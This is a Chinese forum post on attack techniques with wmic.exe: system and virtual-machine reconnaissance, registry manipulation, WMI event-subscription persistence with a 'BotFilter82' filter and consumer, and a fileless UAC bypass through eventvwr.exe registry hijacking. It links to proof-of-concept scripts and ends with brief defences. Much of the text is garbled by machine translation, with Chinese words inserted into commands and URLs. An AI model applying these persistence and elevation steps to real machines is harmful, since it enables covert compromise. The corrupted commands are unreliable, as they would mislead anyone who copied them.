KaiWn 发布于2022年11月8日 分享 发布于2022年11月8日 0x00 前言 最近学习了matt Graeber @ matti festigation分享的方法《WMI Persistence using wmic.exe》 ,让我对WMI的攻击技巧有了新的认识,本文将结合之前的研究心得,分享利用wmic的一些技巧。 参考资料: http://www。剥削-星期一。com/2016/08/wmi-持久性-使用-wmic。超文本标记语言 0x01 简介 在之前的文章《WMI Attacks》 、 《WMI Backdoor》 、 《WMI Defense》 中分享了通过Poweshell和最高观测频率(最大观察频率)调用WMI实现的攻击技巧, 同样,使用wmic.exe也能达到相同的效果,而且更加直接,只要在煤矿管理局下直接运行命令就好。 0x02 搜集信息 获取操作系统相关信息 poweshell代码如下: get-wmio object-Namespace ROOT \ CIM v2-Class Win32 _ operating system 换成wmic.exe的命令为: wmic/NAMESPACE:"\ \ root \ CIM v2 "路径Win32_OperatingSystem 回显如图 注: 回显内容的格式没有对齐,需要添加参数指定输出格式 按照powershell回显的分行显示,需要添加如下参数: wmic/NAMESPACE:"\ \ root \ CIM v2 "路径Win32 _操作系统GET/all/FORMAT:list 如图 依此格式,其他通过powershell调用wmi查询的方法均可用wmic实现,例如: powershell代码: get-wmio object-Namespace ROOT \ CIM v2-Class Win32 _ ComputerSystem 对应 wmic/NAMESPACE:"\ \ root \ CIM v2 "路径win32 _ ComputerSystem GET/all/FORMAT:list 将结果输出到文件的方法: wmic/OUTPUT:c:\ test \ 1txt/NAMESPACE:"\ \ root \ CIM v2 "路径win32 _ ComputerSystem GET/all/FORMAT:list 0x03 注册表操作 powershell代码如下: get-wmio object-Namespace ROOT \ DEFAULT-Class StdRegProv 推送位置HKLM:软件\微软\ Windows \当前版本\重命名文件 Get-ItemProperty系统 完整的wmic代码如下: 枚举子项: wmic/namespace:"\ \ root \ default "路径stdregprov调用枚举键^h80000002,'software\microsoft\windows\currentversion\renamefiles' 注册表内容如图 命令返回的结果如图 注: 方法执行成功不代表一定能够获得正确的返回结果,此处需要注意参数的正确填写,如图2-6,故意漏掉",仍然提示方法执行成功,但返回结果错误 枚举指定的关键值: wmic/namespace:' \ \ root \ default ' path stdreg prov调用枚举值^h80000002,'software\microsoft\windows\currentversion\renamefiles\sys' 返回结果如图 获取指定值的字符串数据值: wmic/namespace:“\ \ root \ default”路径stdreg prov调用获取^h80000002,'software\microsoft\windows\currentversion\renamefiles\sys','tasksdir'字符串值 返回结果如图 创建子项: wmic/namespace:"\ \ root \ default "路径stdregprov调用创建键^h80000002,'software\microsoft\windows\currentversion\renamefiles\test' 返回结果如图 注: 需要注意权限问题,此处需要管理员权限 设置一个命名值的字符串值: wmic/namespace:“\ \ root \ default”路径stdreg prov调用设置字符串值^h80000002,'software\microsoft\windows\currentversion\renamefiles\test','data','name' 返回结果如图 注: 如果一个命名值不存在,则新建;如果存在,则为修改 删除子项: wmic/namespace:"\ \ root \ default "路径stdregprov调用删除键^h80000002,'software\microsoft\windows\currentversion\renamefiles\test' 删除设置一个命名值: wmic/namespace:"\ \ root \ default "路径stdregprov调用删除值^h80000002,'software\microsoft\windows\currentversion\renamefiles\test','name' 注: 以上参数说明参考自https://msdn。微软。com/en-us/library/aa 393664(vs . 85).aspx 特殊字符^H80000002含义如下: 80000000 HKEY类_根 HKEY _当前_用户 H80000002 ' HKEY _本地_机器 h 80000003 ' HKEY _用户 H80000005 'HKEY当前配置 0x04 虚拟机检测 1、查看TotalPhysicalMemory和NumberOfLogicalProcessors wmic/NAMESPACE:"\ \ root \ CIM v2 "路径win32 _ ComputerSystem GET number of logical processors,TotalPhysicalMemory/FORMAT:list 返回结果如图 2、查看当前进程 wmic/NAMESPACE:"\ \ root \ CIM v2 "路径Win32_Process GET标题/格式:列表 0x05 WMI Persistence Powershell完整的实现代码如下: $filterName='BotFilter82 ' $consumerName='BotConsumer23 ' $ exePath=' C:\ Windows \ System32 \ notepad。' exe ' $ Query=' SELECT * FROM _ _ InstanceModificationEvent 60内,其中TargetInstance是win32 _ performatteddata _ perfs _ System“” $ WMIEventFilter=Set-wmi instance-Class _ _ event filter-NameSpace ' root \ subscription '-Arguments @ { Name=$ filterName;event namespace=' root \ CIM v2 Query language=' wql Query=$ Query }-错误操作停止 $ wmie vent consumer=Set-wmi instance-Class CommandLineEventConsumer-Namespace ' root \ subscription '-Arguments @ { Name=$ consumer Name;executable path=$ exePathCommandLineTemplate=$ exe path } set-wmi instance-Class _ _ FilterToConsumerBinding-Namespace ' root \ subscription '-Arguments @ { Filter=$ WMIEventFilter;Consumer=$ WMIEventConsumer } 接下来分步介绍对应wmic调用的过程 1、Create an __EventFilter instance wmic/NAMESPACE:' \ \ root \ subscription ' PATH _ _ event filter CREATE Name=' bot filter 82 ',EventNameSpace='root\cimv2 ',QueryLanguage='WQL ',Query=' SELECT * FROM _ _ instance modification event WITHIN 60 WHERE target instance is ' Win32 _ PerfFormattedData _ PerfOS _ System ' ' 2、Create an __EventConsumer instance wmic/NAMESPACE:" \ \ root \ subscription "路径CommandLineEventConsumer CREATE Name=' bot consumer 23 ',可执行路径=' C:\ Windows \ System32 \ notepad。' exe ',命令行模板=' C:\ Windows \ System32 \ notepad。' exe ' 3、Create a __FilterToConsumerBinding instance wmic/NAMESPACE:" \ \ root \ subscription " PATH _ _ FilterToConsumerBinding CREATE Filter=" _ _ event Filter " .Name='BotFilter82 ' ',Consumer=' CommandLineEventConsumer .Name='BotConsumer23 ' ' 4、List the __EventFilter and __EventConsumer instances Filters: wmic/NAMESPACE:" \ \ root \ subscription " PATH _ _ event filter GET _ _ RELPATH/FORMAT:list Event Consumers: wmic/NAMESPACE:" \ \ root \ subscription "路径CommandLineEventConsumer GET _ _ RELPATH/FORMAT:list Event Bindings: wmic/NAMESPACE:" \ \ root \ subscription " PATH _ _ FilterToConsumerBinding GET _ _ RELPATH/FORMAT:list 通过powershell下查看的代码: Filters: get-wmio object-Namespace root \ Subscription-Class _ _事件筛选器 Event Consumers: get-wmio object-Namespace root \ Subscription-Class _ _事件使用者 Event Bindings: get-wmio object-Namespace root \ Subscription-Class _ _ FilterToConsumerBinding 5、Remove all instances Filters: wmic/NAMESPACE:" \ \ root \ subscription " PATH _ _ event filter WHERE Name=' bot filter 82 ' DELETE Event Consumers: wmic/NAMESPACE:" \ \ root \ subscription "路径CommandLineEventConsumer WHERE Name=' bot consumer 23 ' DELETE Event Bindings: wmic/NAMESPACE:" \ \ root \ subscription " PATH _ _ FilterToConsumerBinding其中Filter="_ _事件过滤器" .Name='BotFilter82 ' '删除 注: wmic中有约束力的的过滤器判断参数"波特过滤器82 "中"要变成' 通过powershell清除的实现代码: Filters: get-wmio object-Namespace root \ Subscription-Class _ _ event Filter-Filter ' Name=' bot Filter 82 ' ' | Remove-wmio object-Verbose Event Consumers: get-wmio object-Namespace root \ Subscription-Class CommandLineEventConsumer-Filter ' Name=' bot consumer 23 ' ' | Remove-wmio object-Verbose Event Bindings: get-wmio object-Namespace root \ Subscription-Class _ _ FilterToConsumerBinding-Filter ' _ _ Path LIKE“% botfilter 82%”| Remove-wmio object-Verbose 0x05 fileless uac bypass using eventvwr exe and registry hijacking wmic的部分操作需要管理员权限,在这里补充一个刚学到的UACbypass技巧 fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking 学习链接: https://谜0x 3。net/2016/08/15/file less-UAC-绕过-使用-eventvwr-exe-and-注册表-劫持/ 作者: 马特尼尔森@谜0x3 原理 在进程eventvwr.exe启动的时候,首先查找注册表位置HKCU软件\类\mscfile\shell\open\command,如果该处为空,接着查找注册表位置HKCR \ MSC文件\外壳\打开\命令(此处默认值为% SystemRoot % \ system32 \ MMC。exe“% 1“% *”,以高权限启动mmc.exe,最后打开eventvwr.msc。 如图 接下来,如果在注册表HKCU软件\类\mscfile\shell\open\command中添加有效载荷,就可以在启动mmc.exe之前执行预设的有效载荷 最重要的一点: 修改注册表HKCU软件\类\mscfile\shell\open\command的键值只需要普通用户权限即可 实现 作者分享了通过powershell实现的验证性测试(概念验证的缩写)代码,链接如下: https://github。com/enigma0x 3/Misc-PowerShell-Stuff/blob/master/Invoke-eventvwrbypass。PS1 如果验证性测试(概念验证的缩写)成功执行,会在C:\UACBypassTest下写入"被提升:真" 注: 默认操作丙:\目录下的文件会被uac拦截 我叉了作者的代码,作了细微修改,运行如下命令: c:\ Windows \ System32 \ cmd。exe/c复制c:\ test \ 1。txt c:\ 1。文本文件(textfile) 地址为: https://github。com/3g学生/UAC-Bypass/blob/master/Invoke-eventvwrbypass。PS1 优点 该方法同常规的方法有很大不同,优点如下: 无文件 不需要进程注入 不需要复制特权文件 适用环境 Win7 Win8.1 Win 10 防御 将UAC级别设置为"始终通知" 从本地管理员组中删除当前用户 对HKCU软件\类中的新注册表项发出警报 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子